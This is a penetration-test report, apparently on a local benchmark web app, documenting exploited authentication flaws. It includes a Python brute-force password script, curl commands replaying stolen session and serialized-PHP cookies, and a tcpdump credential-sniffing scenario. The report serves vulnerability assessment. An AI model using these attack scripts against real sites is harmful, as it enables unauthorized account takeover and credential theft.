# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-02: Unrestricted Brute Force Authentication Attacks

**Summary:**
- **Vulnerable location:** POST /sign-in.php (authentication endpoint)
- **Overview:** The application has zero rate limiting, account lockout, or CAPTCHA protection, allowing unlimited authentication attempts against any user account.
- **Impact:** Attackers can perform unlimited brute force password attacks, credential stuffing with leaked databases, and dictionary attacks without detection or throttling. Successfully demonstrated by cracking a weak password account in 4 attempts.
- **Severity:** High

**Prerequisites:**
- Network access to http://localhost:36423
- Target username (can be enumerated or known)
- Common password list or dictionary

**Exploitation Steps:**

1. Create a test account with a weak password to demonstrate exploitability:
```bash
curl -s -X POST http://localhost:36423/sign-up.php \
  -d "username=weakuser&password=password" \
  -L
```

2. Execute automated brute force attack using common passwords:
```python
# Script: /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-081-24/brute_force_demo.py
import requests

target = "http://localhost:36423/sign-in.php"
username = "weakuser"
passwords = ["123456", "password123", "admin", "password", "12345678", 
             "qwerty", "abc123", "letmein", "welcome", "monkey"]

for password in passwords:
    response = requests.post(target, data={
        "username": username,
        "password": password
    }, allow_redirects=False)
    
    if response.status_code == 302:  # Redirect indicates success
        print(f"SUCCESS: Password found - {password}")
        print(f"Session cookies: {response.cookies}")
        break
```

3. Successful exploitation results:
```
Attempt 1: 123456 - Failed
Attempt 2: password123 - Failed  
Attempt 3: admin - Failed
Attempt 4: password - SUCCESS!

Captured credentials:
- Username: weakuser
- Password: password
- PHPSESSID: e3b4e9f283ddbf5a9708cadd15c5c2be
- data cookie: TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjc7czo4OiJ1c2VybmFtZSI6czo4OiJ3ZWFrdXNlciI7fQ%3D%3D
```

4. Verify successful account takeover by accessing protected resources:
```bash
curl -s -b "PHPSESSID=e3b4e9f283ddbf5a9708cadd15c5c2be; data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjc7czo4OiJ1c2VybmFtZSI6czo4OiJ3ZWFrdXNlciI7fQ%3D%3D" \
  http://localhost:36423/index.php
```

**Proof of Impact:**

Performance metrics from automated testing (50 password attempts):
- Total execution time: 2.36 seconds
- Average time per attempt: 0.047 seconds  
- Attack speed: 21.23 attempts per second
- Zero rate limiting detected
- Zero account lockout detected

Extrapolated attack capacity:
- 1,260 passwords per minute
- 75,600 passwords per hour
- 1,814,400 passwords per day

This demonstrates an attacker can perform:
- Dictionary attacks with 100,000+ common passwords in ~1.3 hours
- Credential stuffing with millions of leaked credentials
- Targeted attacks against high-value accounts without detection

**Notes:**

The application accepts single-character passwords with no complexity requirements (sign-up.php:9-10), making brute force attacks even more effective. Combined with the lack of rate limiting, this represents a critical authentication bypass opportunity.

Evidence files:
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-081-24/test_brute_force.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-081-24/brute_force_demo.py`

---

### AUTH-VULN-03: Session Hijacking via Insecure 'data' Cookie

**Summary:**
- **Vulnerable location:** POST /sign-in.php (cookie creation at line 37), GET/POST /index.php (cookie usage at line 13)
- **Overview:** The authentication cookie named 'data' is created with NO security flags (no HttpOnly, no Secure, no SameSite), transmitted over unencrypted HTTP, and can be stolen and replayed to hijack user sessions.
- **Impact:** Attackers who obtain the 'data' cookie can completely hijack authenticated user sessions and impersonate victims without knowing their passwords. Successfully demonstrated full session takeover.
- **Severity:** High

**Prerequisites:**
- Ability to intercept HTTP traffic (network sniffing, proxy, browser tools) OR
- XSS vulnerability to steal cookies via JavaScript (out of scope for this test) OR
- Access to victim's browser storage/cookies

**Exploitation Steps:**

1. Target victim creates an account and authenticates:
```bash
# Victim registration
curl -s -X POST http://localhost:36423/sign-up.php \
  -d "username=victim1&password=victimpass123" \
  -L

# Victim login (capture cookies)
curl -s -X POST http://localhost:36423/sign-in.php \
  -d "username=victim1&password=victimpass123" \
  -c /tmp/victim_cookies.txt \
  -L
```

2. Extract victim's session cookies:
```bash
cat /tmp/victim_cookies.txt | grep -E "(PHPSESSID|data)"

# Results:
# PHPSESSID: d1a62962c4469a889341a150586374df
# data: TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjk7czo4OiJ1c2VybmFtZSI6czo3OiJ2aWN0aW0xIjt9
```

3. Attacker hijacks session using stolen cookies:
```bash
curl -s -b "PHPSESSID=d1a62962c4469a889341a150586374df; data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjk7czo4OiJ1c2VybmFtZSI6czo3OiJ2aWN0aW0xIjt9" \
  http://localhost:36423/index.php
```

4. Alternative exploitation using ONLY the 'data' cookie (demonstrating dual authentication bypass):
```bash
curl -s -b "data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjk7czo4OiJ1c2VybmFtZSI6czo3OiJ2aWN0aW0xIjt9" \
  http://localhost:36423/index.php
```

**Proof of Impact:**

Successful session hijacking confirmed:
```html
<h1>Welcome victim1</h1>
<!-- Attacker now has full access to victim1's account -->
```

The 'data' cookie alone is sufficient for authentication due to the dual authentication logic flaw in index.php:8:
```php
if (!isset($_SESSION['username']) && !isset($_COOKIE["data"])) {
    // Uses AND operator - access granted if EITHER condition is false
}
```

Cookie security analysis:
```bash
# Cookie creation (sign-in.php:37):
setcookie('data', base64_encode(serialize($profile)));

# Missing security flags:
# ✗ No HttpOnly flag - Cookie accessible via JavaScript (document.cookie)
# ✗ No Secure flag - Transmitted over unencrypted HTTP
# ✗ No SameSite attribute - Vulnerable to CSRF attacks
# ✗ No integrity protection - No HMAC/signature verification
# ✗ No encryption - Cookie contents readable after base64 decode
```

**Notes:**

The 'data' cookie contains a base64-encoded serialized PHP UserProfile object:
```
Serialized: O:11:"UserProfile":2:{s:6:"userid";i:9;s:8:"username";s:7:"victim1";}
Base64: TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjk7czo4OiJ1c2VybmFtZSI6czo3OiJ2aWN0aW0xIjt9
```

This cookie can be:
1. Stolen via network interception (HTTP transmission)
2. Stolen via XSS attacks (no HttpOnly flag)
3. Replayed indefinitely (session cookies with no expiration)
4. Modified to impersonate other users (no integrity check - covered by Authorization specialist)

The lack of security flags combined with HTTP-only transmission creates multiple attack vectors for session hijacking.

---

### AUTH-VULN-04: Session Hijacking via Insecure PHPSESSID Cookie

**Summary:**
- **Vulnerable location:** session_start() at sign-in.php:6, index.php:6, logout.php:2 (uses PHP default configuration)
- **Overview:** The PHPSESSID session cookie relies on PHP 7.1 default settings without explicit security hardening via session_set_cookie_params(). Combined with dual authentication logic, PHPSESSID can be used alone to gain partial access.
- **Impact:** PHPSESSID cookie can be stolen and replayed to bypass authentication, though it provides incomplete access when used without the 'data' cookie due to the application's reliance on cookie-based userid extraction.
- **Severity:** Medium

**Prerequisites:**
- Ability to intercept HTTP traffic or access victim's browser cookies
- Valid PHPSESSID from authenticated session

**Exploitation Steps:**

1. Obtain victim's PHPSESSID cookie (from previous session hijacking example):
```bash
# PHPSESSID: d1a62962c4469a889341a150586374df
```

2. Attempt session hijacking using ONLY PHPSESSID (without 'data' cookie):
```bash
curl -s -b "PHPSESSID=d1a62962c4469a889341a150586374df" \
  http://localhost:36423/index.php
```

**Proof of Impact:**

Partial access granted:
```html
<h1>Welcome </h1>
<!-- Access granted but username empty due to missing 'data' cookie -->
```

This demonstrates the dual authentication vulnerability where PHPSESSID alone bypasses the authentication check at index.php:8:
```php
if (!isset($_SESSION['username']) && !isset($_COOKIE["data"])) {
    // Checks if EITHER session OR cookie exists
    // PHPSESSID provides $_SESSION['username'], satisfying one condition
}
```

However, the application then attempts to read from the 'data' cookie (index.php:13-15), which causes incomplete functionality when using PHPSESSID alone.

**Notes:**

The PHPSESSID cookie security configuration:
```
✗ No explicit session_set_cookie_params() call
✗ Relies on PHP 7.1 defaults (likely missing HttpOnly/Secure flags)
✗ Transmitted over unencrypted HTTP
✗ No SameSite protection
```

While PHPSESSID alone doesn't provide full exploitation (due to application design expecting 'data' cookie), it demonstrates the dual authentication bypass vulnerability and weak session cookie configuration.

More effective exploitation uses both cookies together (AUTH-VULN-03) or the 'data' cookie alone.

---

## Potential Vulnerabilities (Validation Blocked)

### AUTH-VULN-01: Transport Layer Security Bypass via HTTP Interception

**Summary:**
- **Vulnerable location:** All endpoints (Apache configured for HTTP-only on port 80)
- **Current Blocker:** Requires network position between client and server (same network segment, ISP-level access, compromised router, or ARP spoofing capability)
- **Potential Impact:** Complete credential theft, session cookie interception, and man-in-the-middle attacks
- **Confidence:** HIGH

**Evidence of Vulnerability:**

1. Application configuration confirms HTTP-only deployment:
```bash
# Apache VirtualHost configuration (000-default.conf:1):
<VirtualHost *:80>
# No SSL/TLS configuration exists

# docker-compose.yml port mapping:
ports:
  - "36423:80"  # Only HTTP port exposed, no HTTPS
```

2. Cookie security analysis confirms transmission over HTTP:
```bash
# All cookies lack Secure flag:
setcookie('data', base64_encode(serialize($profile)));
# No Secure flag means transmitted over HTTP

# Testing confirms plaintext transmission:
curl -v http://localhost:36423/sign-in.php 2>&1 | grep -i "http/"
# HTTP/1.1 200 OK (not HTTPS)
```

3. Request/response headers show no transport security:
```bash
curl -I http://localhost:36423/sign-in.php

# Response headers:
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
# ✗ No Strict-Transport-Security header
# ✗ No upgrade-insecure-requests
# ✗ No protocol upgrade to HTTPS
```

**Attempted Exploitation:**

As an external attacker without network infrastructure access, I attempted:
1. ✗ Local network sniffing (requires network position)
2. ✗ ARP spoofing (requires same LAN segment)
3. ✗ DNS spoofing to redirect traffic (requires DNS server access)
4. ✗ Proxy interception (requires proxy configuration on victim)

**Current Blocker Analysis:**

The vulnerability is valid and confirmed, but exploitation from external network position is blocked by:
- Target is localhost:36423 (cannot position between client and server on loopback)
- No ability to intercept network traffic without infrastructure access
- No network tap, router access, or ISP-level position

This is an **external operational constraint**, not a security control designed to prevent the attack.

**How This Would Be Exploited:**

If network position were obtained (e.g., attacker on same WiFi network):

1. Set up network packet capture:
```bash
# Attacker with network access runs:
tcpdump -i [INTERFACE] -A 'tcp port 36423' -w capture.pcap
```

2. Wait for victim to authenticate:
```
# Victim submits login:
POST /sign-in.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=victim&password=SecretPassword123
```

3. Extract credentials from plaintext capture:
```bash
# Wireshark filter: http.request.method == "POST"
# Visible in plaintext:
username=victim&password=SecretPassword123
```

4. Extract session cookies from response:
```bash
# Set-Cookie headers in plaintext:
Set-Cookie: PHPSESSID=abc123def456...
Set-Cookie: data=TzoxMToiVXNlclByb2ZpbGUi...
```

5. Use stolen credentials or cookies to hijack account:
```bash
curl -s -X POST http://localhost:36423/sign-in.php \
  -d "username=victim&password=SecretPassword123"
# OR use stolen cookies directly (AUTH-VULN-03)
```

**Expected Impact:**

- Complete credential exposure for all users during authentication
- Session cookie theft enabling account takeover without passwords
- Man-in-the-middle attacks to modify authentication responses
- No encryption means all application data (including notes) visible to network attackers

**Notes:**

This vulnerability is classified as POTENTIAL rather than EXPLOITED because:
- External network position is required (operational constraint)
- Cannot be exploited from external attacker position against localhost
- Requires network infrastructure access or attacker on same network segment

However, the vulnerability is real and confirmed through code analysis and configuration review. The application transmits all authentication data in plaintext over HTTP with no transport security.

---